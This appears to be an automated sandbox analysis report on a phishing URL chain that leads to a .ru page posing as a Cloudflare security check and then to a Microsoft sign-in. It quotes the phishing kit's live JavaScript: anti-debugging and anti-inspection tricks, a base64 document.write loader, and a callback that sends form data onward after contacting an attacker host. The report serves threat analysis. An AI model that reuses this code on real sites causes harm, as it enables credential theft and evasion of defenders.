VT rate limit hit for: https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=

Input	Output
URL: https://www.google.com.hk Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.google.com.hk
URL: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi5jb20= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Conducting browser security checks for your safety.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "Script implements anti-debugging and anti-inspection measures (blocks dev tools, debugger detection, webdriver checks) with redirect to office.com. While these techniques can be legitimate for security, they're also common in malicious scripts. The redirect is to a trusted domain (office.com) which reduces the risk, but the aggressive anti-debugging and obfuscated variable names warrant caution." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); nOHzQdaYwe = false; (function cBvmQejyYf() { let pcxmNLXcqh = false; const dVscFSwLBH = 100; setInterval(function() { const fYvakCMDYY = performance.now(); debugger; const mswTsYDNyX = performance.now(); if (mswTsYDNyX - fYvakCMDYY > dVscFSwLBH && !pcxmNLXcqh) { nOHzQdaYwe = true; pcxmNLXcqh = true; window.location.replace('https://excel.office.com'); } }, 100); })();
URL: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script with multiple red flags: uses atob() for obfuscation, contains an encoded suspicious URL (56z.htqeuifpr.ru), implements anti-debugging measures, uses document.write() for DOM manipulation, and contains heavily encoded content. The script also blocks defensive measures like dev tools and includes keycode monitoring for potential keylogging." }
if(atob("aHR0cHM6Ly81NnouaHRxZXVpZnByLnJ1L3JObjQv") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNZbUlaQWRrSkVkIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI1ltSVpBZGtKRWQgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI1ltSVpBZGtKRWQgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojWW1JWkFka0pFZCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1ltSVpBZGtKRWQuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTA1cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNZbUlaQWRrSkVkIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojWW1JWkFka0pFZCAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI1ltSVpBZGtKRWQgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojWW1JWkFka0pFZCAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojWW1JWkFka0pFZCAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI1ltSVpBZGtKRWQgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI1ltSVpBZGtKRWQubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNZbUlaQWRrSkVkIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojWW1JWkFka0pFZCAjSnBWSEduUFJqbyB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0Kbk9IelFkYVl3ZSA9IGZhbHNlOw0KKGZ1bmN0aW9uIGNCdm1RZWp5WWYoKSB7DQogICAgbGV0IHBjeG1OTFhjcWggPSBmYWxzZTsNCiAgICBjb25zdCBkVnNjRlN3TEJIID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCBmWXZha0NNRFlZID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGRl
URL: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script showing multiple suspicious behaviors: 1) Makes requests to a suspicious Russian domain (.ru) with an unusually long subdomain, 2) Contains obfuscated variable names, 3) Performs form data exfiltration via POST request, 4) Uses redirects to excel.office.com as a possible smokescreen, 5) Implements Cloudflare Turnstile but appears to be using it maliciously. The pattern suggests a credential harvesting or phishing operation masquerading as a legitimate Microsoft service." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA0q5dJB-oRzPFUW', 'error-callback': IZjjGWnSdb, callback: calFHvQDUf, }); function IZjjGWnSdb() { turnstile.reset(); } function calFHvQDUf() { var EeFCHgIyhz = document.getElementById("ExOeFwtErD"); EeFCHgIyhz.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'RDs1'; var NRWCaezhXm = "../zuZjI3MMbCMO8kony0omrCx1DRkJDiEtThwg"; fetch('https://CuU0NyJztBfOdi4ZevdBijT4Fumk2fYOkpJGw3iEAqY6R260taY.uyofiykrxf.ru/abqfqnldukwhssxigbeamrdaoVrzfxtCuCOYYZXUDRKEVHETDRGZXQKYJWUVUA', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(NRWCaezhXm, { method: "POST", body: new FormData(EeFCHgIyhz) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(nOHzQdaYwe == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://excel.office.com'); } }); } if(text != 0){ window.location.replace('https://excel.office.com'); } }) .catch(error => { window.location.replace('https://excel.office.com'); }); }
URL: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi5jb20= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Conducting browser security checks for your safety.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi5jb20= Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi5jb20= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Conducting browser security checks for your safety.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi5jb20= Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi5jb20= Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "28xxvh@ahrrlh.net" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 22:06:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9847555362880507
Encrypted:	false
SSDEEP:	48:87MdoTM0AH6idAKZdA19ehwiZUklqeh6y+3:877fdBy
MD5:	339ACC88A8DE43D99D3E42D92263E0F9
SHA1:	142F6079BD35C12226E80379B2DA994433F3265D
SHA-256:	FE610555DFEC234D94B6F072C43DF7E88DF69577DDB1A3281091F9309F8A355F
SHA-512:	F8D2BBAFD27FC8E7A973C0A347FBA9CA87507DEE544AC9026193539361F739646C3CBB0248E3EDE07CFC1B7E887C89BE1926EB5F47E3B1F74405A0AB499418CD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....{F;.J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X.o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 22:06:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.999037907663771
Encrypted:	false
SSDEEP:	48:8SQMdoTM0AH6idAKZdA1weh/iZUkAQkqehxy+2:857fX9QQy
MD5:	3092B36282EDE38CF89B283324AADD11
SHA1:	6053313C548B579F1CE07E3D8DD176AB563D8A8E
SHA-256:	CB893999A2D46147564DDCFE81F3FDD7C4A8910FFBDB702DF4D401C2FB4FC11E
SHA-512:	458109514D62350B1EB5FC64D90149ACEB0DA9F5931C99C137B66D2709A7EC4506EFF2AA50D5B5E1E5884A23B04520C5DA1FD5D3F8FC020EB1D1680ABBF30858
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....2.1.J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X.o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0094936975825775
Encrypted:	false
SSDEEP:	48:8xEMdoTM0sH6idAKZdA14tseh7sFiZUkmgqeh7s/y+BX:8xE7fDnVy
MD5:	3DD3487BBE7923A2BD02A2BA3F63FA95
SHA1:	89684452E1FD5A61D2C1DE9D316604E62C1D7B19
SHA-256:	AB93697382CF1B1E10B2AA00C65C9101A01085BF555F3A7BA1F94AD491C40CE7
SHA-512:	8DE57B69D7EDC0D0168BB4C648B86CF110F5E24CD10310E11BD9DECAC071DFDC138DF3296A26DFF14A43485E08B69F3CD0A6CB791ED07EB82CB81842497FB38D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X.o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 22:06:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.001320561865526
Encrypted:	false
SSDEEP:	48:8wMdoTM0AH6idAKZdA1vehDiZUkwqeh9y+R:8w7fUHy
MD5:	C122ACB79B0F44923A50FB13F95CE7E0
SHA1:	2520574A834D5FB393F280EE4D2B8B912FEAA4C4
SHA-256:	3B9F24B0857403C90E6FC6CFABE1DA95C9ED396300444BB8ECC6D4384F55E6E6
SHA-512:	07AD33C6E6336C5BF5B6612728629BF8B58266634D66E1EA3550D5860972ABD100EBB336F90D311A808EF01D196B47FCA95C9BD7446162EC1E15984B54F531CC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....Q..J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X.o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 22:06:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9881288803077632
Encrypted:	false
SSDEEP:	48:8WMdoTM0AH6idAKZdA1hehBiZUk1W1qehjy+C:8W7f09Dy
MD5:	A674A7A7508E435BA2054EB2766D5DE5
SHA1:	7BC7F07931B35D805D872DBD5F4EAF05066FAE65
SHA-256:	3CC15653225A1757D7D0CDCC536159649596DE7A8C90A9B8F2D7A0909DBFE090
SHA-512:	C997215010F3C16961812ECD77CE944A2FCB455A31F02A29ED7F3D98115748451B06038E64F82A7749172232482E5EE7C2B243E4B2624924517AC5015A242A06
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....6.J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X.o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 22:06:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9967489508119955
Encrypted:	false
SSDEEP:	48:8cMdoTM0AH6idAKZdA1duT+ehOuTbbiZUk5OjqehOuTbVy+yT+:8c7faT/TbxWOvTbVy7T
MD5:	B63401C3FCCCFD6ED36CAB73905231D9
SHA1:	9A2C765DB91573B1CF1F11A1BA98546FAAC88D06
SHA-256:	378BE93C6F73782F876B31511BB6A489343ECFEE6D352BBA91425ABCEDDB5091
SHA-512:	E7E9BDB2DE1C0FD8A285B9D204D013995F69F2567C6C779C63EA79D866E9AD0300C4F51DD05CCE3406AB571A3BC6B2D321279C6268279754D7289FF01292DDD2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....n#.J..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X.o.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 61 x 36, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlYbtlYq/Kkxl/k4E08up:6v/lhP6iRk7Tp
MD5:	D9F351F347EA1AA1BCB7DAC2185174BE
SHA1:	C6A9DE21B1C4C79CFEE4AADBDAC6158C12FE173F
SHA-256:	5406604C441FE554F0543440A0A3D0BF385BDC286AC4879E82592598AFAA9087
SHA-512:	9F18D47D9A2B62D52CFBB63927D9409F7DDD6BAB014BFEB9CC71885F0A38F448CF357568FC2B20CDE9EC941AAFA2F2C2FA97BE4A3728A1D7D52C9E96A948AA0B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8ef8a58f8fb7c32b/1733785601830/V5veeFNqsgkcgGx
Preview:	.PNG........IHDR...=...$............IDAT.....$.....IEND.B`.

